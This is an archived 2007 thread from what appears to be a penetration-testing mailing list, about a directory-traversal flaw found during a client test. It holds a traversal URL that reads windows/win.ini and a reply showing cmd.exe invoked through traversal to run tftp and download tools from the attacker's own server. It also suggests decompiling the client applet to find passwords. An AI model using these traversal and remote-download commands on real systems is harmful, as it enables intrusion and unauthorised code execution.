Re: Directory Transversal

From: Zed Qyves (zqyves.spamtrap@gmail.com)
Date: Wed Oct 24 2007 - 09:22:49 EDT


Hello John,
The "code" snippet is indeed responsible for updating the java versionon the CLIENT side of the application, best guess is that you aredownloading and running an applet that takes care of all thecommunication with the 'web server" component of the application. Isthe applet part of your scope or just the server side compoenent (Iwould guess both are but...).
If yes there are several things you can do with the client side of the app:1. Try putting that through a java decompiler and see what tishappening behind the scenes. you could be geting all shorts of infofrom the source, comments / hidden debug statements / passwords andthe such.
2. Have a look at the beanshel, useful to change runtime behaviour...
3. Put it through Java Object Inspector(http://www.csnc.ch/static/download/tools/objectinspector-1.0.zip)
Have fun,./ZQ
On 10/22/07, jfvanmeter@comcast.net <jfvanmeter@comcast.net> wrote:> I want to thank everyone for the help, my client has ask me to continue working on this problem to see what else might happen.>> Here is alittle more information about application that is web enabled.>> Its running under java, and check to see if java 1.5 is installed, and if its not it phones home to SUN, and prompts you to download 1.5.>> Could these line be causing the problem?>> if (_ie == true) document.writeln('<OBJECT classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" WIDTH = "900" HEIGHT = "600" ALIGN = "baseline" VSPACE = "0" HSPACE = "0" codebase="http://java.sun.com/update/1.5.0/jinstall-1_5_0-windows-i586.cab#Version=1,5,0,0"><NO EMBED><XMP>');> else if (_ns == true && _ns6 == false) document.writeln('<EMBED type="application/x-java-applet;version=1.5" WIDTH = "900" HEIGHT = "600" ALIGN = "baseline" VSPACE = "0" HSPACE = "0" CODE = "KeyInfoApplet.class" CODEBASE = "" scriptable=false pluginspage="http://java.sun.com/products/p
lugin/1.5/plugin-install.html"><NO EMBED><XMP>');> //--></SCRIPT>>> -------------- Original message ----------------------> From: pand0ra <pand0ra.usa@gmail.com>> > God is this an old exploit. Dogbert needs to come in and beat someone> > with the stick of stupidity. Rant over, here is what I have done in> > the past. I just setup a tftp server on my end and call tftp through> > the URL and download whatever tools I want on that system. I haven't> > done it in a while so I am a little rusty on the exact syntax.> >> > http://mycomputer:port#/..//..//..//..//..//..//..//windows/cmd.exe?tftp> >> > On 10/17/07, jfvanmeter@comcast.net <jfvanmeter@comcast.net> wrote:> > >> > > Hello everyone, I'm in the middle of a test on a app that the following> > command works on> > > http://mycomputer:port#/..//..//..//..//..//..//..//windows/win.ini> > > and it will prompt me to save the file, if i check my packet capture I see the> > contents of the file.> > >> > > So far I've been unable to get a put or post command to wo
rk and was hoping to> > get some ideas from you all on things to try.> > >> > > I've been trying to get nc/telnet and some other tools to help me with the put> > comand> > >> > > Thanks in advance --John> > >> > > ------------------------------------------------------------------------> > > This list is sponsored by: Cenzic> > >> > > Need to secure your web apps NOW?> > > Cenzic finds more, "real" vulnerabilities fast.> > > Click to try it, buy it or download a solution FREE today!> > >> > > http://www.cenzic.com/downloads> > > ------------------------------------------------------------------------> > >> > >> >> > ------------------------------------------------------------------------> > This list is sponsored by: Cenzic> >> > Need to secure your web apps NOW?> > Cenzic finds more, "real" vulnerabilities fast.> > Click to try it, buy it or download a solution FREE today!> >> > http://www.cenzic.com/downloads> > ------------------------------------------------------------------------> >>>> -----------------
-------------------------------------------------------> This list is sponsored by: Cenzic>> Need to secure your web apps NOW?> Cenzic finds more, "real" vulnerabilities fast.> Click to try it, buy it or download a solution FREE today!>> http://www.cenzic.com/downloads> ------------------------------------------------------------------------>>

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